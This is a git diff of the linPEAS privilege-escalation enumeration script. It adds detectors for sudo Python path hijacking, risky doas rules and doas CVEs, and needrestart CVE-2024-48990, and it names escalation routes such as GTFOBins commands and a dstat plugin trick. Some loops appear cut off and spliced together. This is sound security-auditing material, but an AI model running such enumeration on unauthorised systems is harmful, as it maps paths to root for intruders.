a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh @@ -15,7 +15,7 @@ print_2title "Checking Pkexec and Polkit" "T1548.003,T1548.004,T1068" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2" +print_info "https://book.hacktricks.wiki/en/linux-hardening/user-information/interesting-groups-linux-pe/index.html#pe---method-2" echo "" print_3title "Polkit Binary" "T1548.003,T1068" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh index 3e8a78bd..c1071041 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh @@ -15,7 +15,7 @@ print_2title "Superusers and UID 0 Users" "T1087.001" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html" +print_info "https://book.hacktricks.wiki/en/linux-hardening/user-information/interesting-groups-linux-pe/index.html" # Check /etc/passwd for UID 0 users echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh index 21be577c..520429e9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh @@ -15,6 +15,6 @@ print_2title "My user" "T1033" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users" +print_info "https://book.hacktricks.wiki/en/linux-hardening/user-information/user-and-session-triage.html#enumerate-identities-and-group-based-access" (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo "" \ No newline at end of file diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh index cec023df..85fea245 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh @@ -15,7 +15,7 @@ print_2title "PGP Keys and Related Files" "T1552.004" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys" +print_info "https://book.hacktricks.wiki/en/linux-hardening/user-information/user-and-session-triage.html#review-user-artifacts" # Check for GPG echo "GPG:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh index 8332638d..bda9caf4 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh @@ -16,7 +16,7 @@ if [ "$(command -v xclip 2>/dev/null || echo -n '')" ] || [ "$(command -v xsel 2>/dev/null || echo -n '')" ] || [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ] || [ "$(command -v wl-paste 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "Clipboard and Highlighted Text" "T1115" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#clipboard" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#clipboard" # Function to check clipboard content check_clipboard() { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh index aef76c50..3c2fe90e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh @@ -1,21 +1,21 @@ # Title: Users Information - Sudo -l # ID: UG_Sudo_l # Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d +# Last Update: 04-10-2026 +# Description: Checking 'sudo -l', /etc/sudoers, /etc/sudoers.d, and privileged Python scripts that load code from writable paths # License: GNU GPL -# Version: 1.0 +# Version: 1.1 # Mitre: T1548.003 # Functions Used: echo_not_found, print_2title, print_info # Global Variables:$IAMROOT, $PASSWORD, $TIMEOUT, $sudoB, $sudoG, $sudoVB1, $sudoVB2 # Initial Functions: -# Generated Global Variables: $sudo_l_output, $sudo_l_password_output, $sudo_l_cached_output, $secure_path_line +# Generated Global Variables: $sudo_l_output, $sudo_l_password_output, $sudo_l_cached_output, $secure_path_line, $sudo_python_scripts, $python_sudo_script, $python_loader_lines, $python_loader_root, $python_loader_roots, $python_loader_path_lines, $python_loader_literal, $python_loader_parent, $python_candidate_dir, $python_seen_dirs, $python_pth_file, $python_pth_imports, $python_writable_pth, $python_script_dir # Fat linpeas: 0 # Small linpeas: 1 -print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" "T1548.003" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" +print_2title "Checking 'sudo -l', sudoers files, and privileged Python paths" "T1548.003" +print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#sudo-and-suid" sudo_l_colorize() { sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" @@ -64,6 +64,94 @@ if [ "$secure_path_line" ]; then fi done fi + +# Correlate root-capable sudo Python commands with dynamic import/site-directory +# loading. site.addsitedir() and site.addpackage() process .pth files, whose +# "import " lines are executed by Python. A writable plugin/site directory can +# therefore turn an otherwise fixed sudo command into code execution as root. +sudo_python_scripts=$(printf "%s\n%s\n%s\n" "$sudo_l_cached_output" "$sudo_l_password_output" "$sudo_l_output" | awk ' + /python[0-9.]*/ && /\((root|ALL)([[:space:]:,)]|$)/ && !/!root/ { + for (i = 1; i <= NF; i++) { + token = $i + quote = sprintf("%c", 39) + gsub("^[\"" quote "]|[\"" quote ",:]$", "", token) + if (token ~ /^\/.*\.py$/) print token + } + } +' | sort -u) + +if [ "$sudo_python_scripts" ]; then + printf "%s\n" "$sudo_python_scripts" | while IFS= read -r python_sudo_script; do + [ -f "$python_sudo_script" ] && [ -r "$python_sudo_script" ] || continue + + python_loader_lines=$(grep -nE 'site\.(addsitedir|addpackage)[[:space:]]*\(|sys\.path\.(append|insert|extend)[[:space:]]*\(|(spec_from_file_location|SourceFileLoader|exec_module)[[:space:]]*\(' "$python_sudo_script" 2>/dev/null) + [ "$python_loader_lines" ] || continue + + python_script_dir=$(dirname "$python_sudo_script") + python_loader_path_lines=$(grep -E 'site\.(addsitedir|addpackage)|sys\.path\.(append|insert|extend)|(_DIR|_PATH)[[:space:]]*=' "$python_sudo_script" 2>/dev/null) + python_loader_roots=$( + printf "%s\n" "$python_loader_path_lines" | grep -Eo "['\"]/[^'\"]+['\"]" 2>/dev/null | tr -d "'\"" + printf "%s\n" "$python_loader_path_lines" | sed -nE "s/.*[(\/=][[:space:]]*['\"]([^'\"]+)['\"].*/\1/p" | while IFS= read -r python_loader_literal; do + if [ "${python_loader_literal#/}" = "$python_loader_literal" ] && + ! printf "%s" "$python_loader_literal" | grep -q '://'; then + printf "%s/%s\n" "$python_script_dir" "$python_loader_literal" + fi + done + ) + # Fall back to the script tree only when static path extraction is not + # possible (for example when addsitedir() receives a computed value). + [ "$python_loader_roots" ] || python_loader_roots="$python_script_dir" + + python_seen_dirs="|" + printf "%s\n" "$python_loader_roots" | sort -u | while IFS= read -r python_loader_root; do + if ! [ -d "$python_loader_root" ]; then + python_loader_parent=$(dirname "$python_loader_root") + if [ -d "$python_loader_parent" ] && [ -w "$python_loader_parent" ]; then + echo "Privileged sudo Python script loads code/paths dynamically: $python_sudo_script" + printf "%s\n" "$python_loader_lines" + echo "Python loader path can be created in writable parent: $python_loader_root (parent: $python_loader_parent)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "" + fi + continue + fi + # A bounded traversal keeps this quick and also catches loaders that + # iterate over plugin subdirectories before calling addsitedir(). + for python_candidate_dir in "$python_loader_root" "$python_loader_root"/* "$python_loader_root"/*/*; do + [ -d "$python_candidate_dir" ] || continue + python_writable_pth="" + for python_pth_file in "$python_candidate_dir"/*.pth; do + [ -f "$python_pth_file" ] && [ -w "$python_pth_file" ] && python_writable_pth=1 + done + [ -w "$python_candidate_dir" ] || [ "$python_writable_pth" ] || continue + case "$python_seen_dirs" in + *"|$python_candidate_dir|"*) continue ;; + esac + python_seen_dirs="${python_seen_dirs}${python_candidate_dir}|" + + echo "Privileged sudo Python script loads code/paths dynamically: $python_sudo_script" + printf "%s\n" "$python_loader_lines" + if printf "%s\n" "$python_loader_lines" | grep -qE 'site\.(addsitedir|addpackage)'; then + echo "Writable directory processed by privileged Python site loader: $python_candidate_dir (.pth import lines may execute as root)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "Writable directory near privileged Python import path: $python_candidate_dir (possible module/path hijack)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + ls -ld "$python_candidate_dir" 2>/dev/null + + for python_pth_file in "$python_candidate_dir"/*.pth; do + [ -f "$python_pth_file" ] || continue + [ -w "$python_candidate_dir" ] || [ -w "$python_pth_file" ] || continue + echo " Python path configuration file: $python_pth_file" + python_pth_imports=$(grep -nE '^import[[:space:]]' "$python_pth_file" 2>/dev/null) + if [ "$python_pth_imports" ]; then + printf "%s\n" "$python_pth_imports" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + done + echo "" + done + done + done +fi + (sudo_l_colorize_file /etc/sudoers) 2>/dev/null || echo_not_found "/etc/sudoers" if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh index 7c08a25e..872f180b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh @@ -15,7 +15,7 @@ print_2title "Checking sudo tokens" "T1548.003" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens" +print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#reusing-sudo-tokens" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g"; diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh index e8e0a90d..0fed080f 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh @@ -1,56 +1,252 @@ # Title: Users Information - Doas # ID: UG_Doas # Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: Check doas configuration and permissions for privilege escalation +# Last Update: 11-08-2026 +# Description: Check doas/OpenDoas configuration, effective rules, binary permissions, and known vulnerable versions. +# Detects unrestricted and nopass root rules, GTFOBins-capable commands (including the HTB Soccer dstat path), dangerous environment preservation, writable configuration paths, and applicable CVEs. # License: GNU GPL -# Version: 1.0 +# Version: 1.1 # Mitre: T1548.003 -# Functions Used: echo_not_found, print_2title, print_info -# Global Variables: $DEBUG, $nosh_usrs, $sh_usrs, $USER +# Functions Used: doas_check_command, doas_command_is_dangerous, doas_config_syntax_valid, doas_extract_upstream_version, doas_get_package_details, doas_read_rules, doas_rule_applies_to_current_user, doas_rule_command, doas_rule_has_dangerous_environment, doas_rule_has_option, doas_rule_targets_root, doas_version_ge, doas_version_le, doas_version_lt, echo_not_found, print_2title, print_3title, print_info +# Global Variables: $doas_package_full_version, $doas_package_homepage, $doas_package_implementation, $doas_package_manager, $doas_package_name # Initial Functions: -# Generated Global Variables: $doas_dir_name, $doas_bin, $conf_file +# Generated Global Variables: $conf_file, $doas_active_rules, $doas_bin, $doas_bin_mode, $doas_bin_owner, $doas_bin_trusted, $doas_conf_candidates, $doas_conf_dir, $doas_conf_dir_mode, $doas_conf_found, $doas_conf_mode, $doas_conf_owner, $doas_conf_trusted, $doas_current_gids, $doas_current_groups, $doas_current_uid, $doas_current_user, $doas_package_label, $doas_rule_applies, $doas_rule_cmd_value, $doas_rule_dangerous, $doas_rule_env, $doas_rule_line, $doas_rule_nopass, $doas_rule_number, $doas_rule_root, $doas_rule_unrestricted, $doas_seen_configs, $doas_seen_test_commands, $doas_strings_conf, $doas_test_cmd, $doas_test_commands, $doas_check_output, $doas_tiocsti, $doas_upstream_version # Fat linpeas: 0 # Small linpeas: 1 -if [ -f "/etc/doas.conf" ] || [ -f "/usr/local/etc/doas.conf" ] || [ "$DEBUG" ]; then - print_2title "Doas Configuration" "T1548.003" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#doas" +doas_bin="$(command -v doas 2>/dev/null)" +doas_current_user="$(id -un 2>/dev/null)" +doas_current_uid="$(id -u 2>/dev/null)" +doas_current_groups="$(id -Gn 2>/dev/null)" +doas_current_gids="$(id -G 2>/dev/null)" +doas_bin_trusted="no" + +doas_conf_candidates="/etc/doas.conf +/usr/local/etc/doas.conf +/opt/local/etc/doas.conf +/usr/pkg/etc/doas.conf" + +if [ -n "$doas_bin" ]; then + doas_conf_candidates="$doas_conf_candidates +$(dirname "$doas_bin")/doas.conf +$(dirname "$doas_bin")/../etc/doas.conf +$(dirname "$doas_bin")/etc/doas.conf" + if command -v strings >/dev/null 2>&1; then + doas_strings_conf="$(strings "$doas_bin" 2>/dev/null | grep -E '^/[^[:space:]]*/doas\.conf$' | head -n 10)" + [ -n "$doas_strings_conf" ] && doas_conf_candidates="$doas_conf_candidates +$doas_strings_conf" + fi +fi + +doas_conf_found="no" +for conf_file in /etc/doas.conf /usr/local/etc/doas.conf /opt/local/etc/doas.conf /usr/pkg/etc/doas.conf; do + [ -e "$conf_file" ] && doas_conf_found="yes" +done + +if [ -n "$doas_bin" ] || [ "$doas_conf_found" = "yes" ]; then + print_2title "Doas/OpenDoas configuration and vulnerabilities" "T1548.003" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#doas" - # Find doas binary and its config locations - doas_bin=$(command -v doas 2>/dev/null) if [ -n "$doas_bin" ]; then - doas_dir_name=$(dirname "$doas_bin") + print_3title "Doas binary and version" "T1548.003" + # -L makes permission checks describe the executable target, not a package-manager symlink. + doas_bin_owner="$(ls -ldLn "$doas_bin" 2>/dev/null | awk '{print $3}')" + doas_bin_mode="$(ls -ldL "$doas_bin" 2>/dev/null | awk '{print $1}')" echo "Doas binary found at: $doas_bin" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" - - # Check doas binary permissions + ls -ld "$doas_bin" 2>/dev/null + + doas_bin_trusted="yes" + if [ "$doas_bin_owner" != "0" ]; then + echo "WARNING: doas is not owned by root (owner UID: ${doas_bin_owner:-unknown})" | sed -${E} "s,.*,${SED_RED},g" + doas_bin_trusted="no" + fi if [ -u "$doas_bin" ]; then - echo "Doas binary has SUID bit set!" | sed -${E} "s,.*,${SED_RED},g" + echo "Doas has the expected SUID bit set (normal for a privilege-delegation binary)" | sed -${E} "s,.*,${SED_GREEN},g" + else + echo "Doas does not have its usual SUID bit; verify how privileges are granted" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + doas_bin_trusted="no" fi - ls -l "$doas_bin" 2>/dev/null | sed -${E} "s,.*,${SED_RED_YELLOW},g" + if { [ "$doas_current_uid" != "0" ] && [ -w "$doas_bin" ]; } || printf "%s" "$doas_bin_mode" | cut -c6,9 | grep -q w; then + echo "CRITICAL: doas is writable by a non-root context or by group/other" | sed -${E} "s,.*,${SED_RED},g" + doas_bin_trusted="no" + fi + + doas_get_package_details "$doas_bin" + doas_upstream_version="$(doas_extract_upstream_version "$doas_package_full_version")" + if [ -n "$doas_package_full_version" ]; then + doas_package_label="$doas_package_name $doas_package_full_version (${doas_package_manager:-unknown manager}, implementation: $doas_package_implementation)" + echo "Package: $doas_package_label" + [ -n "$doas_package_homepage" ] && echo "Homepage: $doas_package_homepage" + + if { [ "$doas_package_implementation" = "opendoas" ] || [ "$doas_package_implementation" = "unknown" ]; } && \ + [ -n "$doas_upstream_version" ] && doas_version_ge "$doas_upstream_version" "6.6" && doas_version_lt "$doas_upstream_version" "6.8.1"; then + echo "Potentially vulnerable to CVE-2019-25016: OpenDoas 6.6 through 6.8 may inherit an attacker-controlled PATH for unrestricted rules (verify distro backports)" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + + if [ "$doas_package_implementation" = "slicer69" ] && [ -n "$doas_upstream_version" ] && doas_version_lt "$doas_upstream_version" "6.2"; then + echo "Potentially vulnerable to CVE-2019-15900 and CVE-2019-15901: slicer69/doas before 6.2 can mishandle identities/groups on non-OpenBSD platforms" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + elif [ "$doas_package_implementation" = "unknown" ] && [ -n "$doas_upstream_version" ] && doas_version_lt "$doas_upstream_version" "6.2"; then + echo "Old doas version detected; if this is the slicer69 portable implementation, review CVE-2019-15900 and CVE-2019-15901" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + + if [ "$(uname -s 2>/dev/null)" = "Linux" ] && \ + { [ "$doas_package_implementation" = "opendoas" ] || [ "$doas_package_implementation" = "unknown" ]; } && \ + [ -n "$doas_upstream_version" ] && doas_version_le "$doas_upstream_version" "6.8.2"; then + if [ -r /proc/sys/dev/tty/legacy_tiocsti ]; then + doas_tiocsti="$(cat /proc/sys/dev/tty/legacy_tiocsti 2>/dev/null)" + if [ "$doas_tiocsti" = "1" ]; then + echo "Potentially vulnerable to CVE-2023-28339: OpenDoas <=6.8.2 shares the terminal and legacy TIOCSTI is enabled" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + else + echo "CVE-2023-28339 TIOCSTI path appears mitigated (dev.tty.legacy_tiocsti=$doas_tiocsti)" | sed -${E} "s,.*,${SED_GREEN},g" + fi + else + echo "OpenDoas <=6.8.2 detected; review CVE-2023-28339 because the kernel TIOCSTI mitigation state could not be read" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + fi + else + echo "Could not determine the installed doas package/version; check vendor advisories manually" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + else + echo_not_found "doas" fi - # Check all possible doas.conf locations - echo -e "\nChecking doas.conf files:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" - for conf_file in "/etc/doas.conf" "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" "/usr/local/etc/doas.conf"; do - if [ -f "$conf_file" ]; then - echo "Found: $conf_file" | sed -${E} "s,.*,${SED_RED_YELLOW},g" - if [ -w "$conf_file" ]; then - echo "WARNING: $conf_file is writable!" | sed -${E} "s,.*,${SED_RED},g" + echo "" + print_3title "Doas configuration rules" "T1548.003" + doas_conf_found="no" + doas_seen_configs="|" + while IFS= read -r conf_file; do + [ -n "$conf_file" ] || continue + case "$doas_seen_configs" in *"|$conf_file|"*) continue ;; esac + doas_seen_configs="$doas_seen_configs$conf_file|" + [ -e "$conf_file" ] || continue + doas_conf_found="yes" + + # Follow the final symlink for ownership/mode checks, but still report the indirection below. + doas_conf_owner="$(ls -ldLn "$conf_file" 2>/dev/null | awk '{print $3}')" + doas_conf_mode="$(ls -ldL "$conf_file" 2>/dev/null | awk '{print $1}')" + doas_conf_dir="$(dirname "$conf_file")" + doas_conf_dir_mode="$(ls -ld "$doas_conf_dir" 2>/dev/null | awk '{print $1}')" + echo "Found: $conf_file ($doas_conf_mode owner UID ${doas_conf_owner:-unknown})" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" + + doas_conf_trusted="yes" + if [ -L "$conf_file" ]; then + echo "WARNING: $conf_file is a symbolic link; verify its target and ownership" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + if [ "$doas_conf_owner" != "0" ]; then + echo "CRITICAL: $conf_file is not owned by root" | sed -${E} "s,.*,${SED_RED},g" + doas_conf_trusted="no" + fi + if { [ "$doas_current_uid" != "0" ] && [ -w "$conf_file" ]; } || printf "%s" "$doas_conf_mode" | cut -c6,9 | grep -q w; then + echo "CRITICAL: $conf_file is writable by the current user, group, or other users" | sed -${E} "s,.*,${SED_RED},g" + doas_conf_trusted="no" + fi + if { [ "$doas_current_uid" != "0" ] && [ -w "$doas_conf_dir" ]; } || printf "%s" "$doas_conf_dir_mode" | cut -c6,9 | grep -q w; then + echo "CRITICAL: configuration directory $doas_conf_dir is writable; doas.conf may be replaceable" | sed -${E} "s,.*,${SED_RED},g" + doas_conf_trusted="no" + fi + + if [ -r "$conf_file" ]; then + doas_active_rules="$(doas_read_rules "$conf_file")" + if [ -z "$doas_active_rules" ]; then + echo "No active permit/deny rules found in $conf_file" + else + while IFS=" " read -r doas_rule_number doas_rule_line; do + [ -n "$doas_rule_line" ] || continue + doas_rule_applies="no" + doas_rule_root="no" + doas_rule_nopass="no" + doas_rule_unrestricted="no" + doas_rule_dangerous="no" + doas_rule_env="no" + doas_rule_cmd_value="$(doas_rule_command "$doas_rule_line")" + doas_rule_applies_to_current_user "$doas_rule_line" && doas_rule_applies="yes" + doas_rule_targets_root "$doas_rule_line" && doas_rule_root="yes" + doas_rule_has_option "$doas_rule_line" nopass && doas_rule_nopass="yes" + [ -z "$doas_rule_cmd_value" ] && doas_rule_unrestricted="yes" + [ -n "$doas_rule_cmd_value" ] && doas_command_is_dangerous "$doas_rule_cmd_value" && doas_rule_dangerous="yes" + doas_rule_has_dangerous_environment "$doas_rule_line" && doas_rule_env="yes" + + if printf "%s" "$doas_rule_line" | grep -q '^deny'; then + echo " $conf_file:$doas_rule_number $doas_rule_line" + continue + fi + + if [ "$doas_rule_applies" = "yes" ] && [ "$doas_rule_root" = "yes" ]; then + echo " $conf_file:$doas_rule_number $doas_rule_line" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + if [ "$doas_rule_unrestricted" = "yes" ] && [ "$doas_rule_nopass" = "yes" ]; then + echo "POTENTIAL: a matching permit rule allows arbitrary root commands without a password; a later rule may override it" | sed -${E} "s,.*,${SED_RED},g" + elif [ "$doas_rule_unrestricted" = "yes" ]; then + echo "POTENTIAL: a matching permit rule allows arbitrary root commands after authentication; a later rule may override it" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + elif [ "$doas_rule_dangerous" = "yes" ] && [ "$doas_rule_nopass" = "yes" ]; then + echo "POTENTIAL: a matching permit rule allows GTFOBins-capable command $doas_rule_cmd_value as root without a password; a later rule may override it" | sed -${E} "s,.*,${SED_RED},g" + if [ "${doas_rule_cmd_value##*/}" = "dstat" ]; then + echo "This is the HTB Soccer privilege-escalation pattern: a user-controlled dstat plugin can execute as root" | sed -${E} "s,.*,${SED_RED},g" + fi + elif [ "$doas_rule_dangerous" = "yes" ]; then + echo "POTENTIAL: a matching permit rule allows GTFOBins-capable command $doas_rule_cmd_value as root after authentication; a later rule may override it" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + elif [ "$doas_rule_nopass" = "yes" ]; then + echo "POTENTIAL: a matching permit rule allows $doas_rule_cmd_value as root without a password; inspect command-specific escapes and later rules" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + if [ "$doas_rule_env" = "yes" ]; then + echo "Dangerous environment preservation is enabled for an applicable root rule (keepenv or sensitive setenv variable)" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + elif [ "$doas_rule_root" = "yes" ] && { [ "$doas_rule_nopass" = "yes" ] || [ "$doas_rule_unrestricted" = "yes" ] || [ "$doas_rule_dangerous" = "yes" ]; }; then + echo " $conf_file:$doas_rule_number $doas_rule_line" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" + else + echo " $conf_file:$doas_rule_number $doas_rule_line" + fi + done </dev/null | sed -${E} "s,$sh_usrs,${SED_RED},g" | sed "s,root,${SED_RED},g" | sed "s,nopass,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed "s,$USER,${SED_RED_YELLOW},g" + else + echo "Cannot read $conf_file directly; attempting safe effective-rule checks with doas -C" + doas_active_rules="" fi - done - # Check if doas is working - if [ -n "$doas_bin" ]; then - echo -e "\nTesting doas:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" - if $doas_bin -l 2>/dev/null; then - echo "doas -l command works!" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + if [ -n "$doas_bin" ] && [ "$doas_bin_trusted" = "yes" ] && [ "$doas_conf_trusted" = "yes" ]; then + if doas_config_syntax_valid "$doas_bin" "$conf_file"; then + doas_test_commands="/bin/sh +/bin/bash +/usr/bin/env +/usr/bin/dstat" + while IFS=" " read -r doas_rule_number doas_rule_line; do + doas_rule_cmd_value="$(doas_rule_command "$doas_rule_line")" + [ -n "$doas_rule_cmd_value" ] && doas_test_commands="$doas_test_commands +$doas_rule_cmd_value" + done </dev/null if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh index 9d91c73f..b12c0e0b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh @@ -1,17 +1,21 @@ # Title: Software Information - Extra sotftare # ID: SI_Extra_software # Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: Add all the extra software checks from build_lists/sensitive_files.yaml that doesn't have linpeas disabled +# Last Update: 17-08-2026 +# Description: Add all extra software checks from build_lists/sensitive_files.yaml and check needrestart interpreter-scanner LPE exposure. # License: GNU GPL -# Version: 1.0 -# Mitre: T1082 -# Functions Used: print_3title, warn_exec -# Global Variables: $NGINX_KNOWN_MODULES +# Version: 1.1 +# Mitre: T1082,T1068 +# Functions Used: checkNeedrestartCVE202448990, print_3title, warn_exec +# Global Variables: $NGINX_KNOWN_MODULES, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 -peass{EXTRA_SECTIONS} \ No newline at end of file +if ! [ "$SEARCH_IN_FOLDER" ]; then + checkNeedrestartCVE202448990 +fi + +peass{EXTRA_SECTIONS} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Gogs.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Gogs.sh new file mode 100644 index 00000000..d92108f8 --- /dev/null +++ b/Offensive Security & Penetration 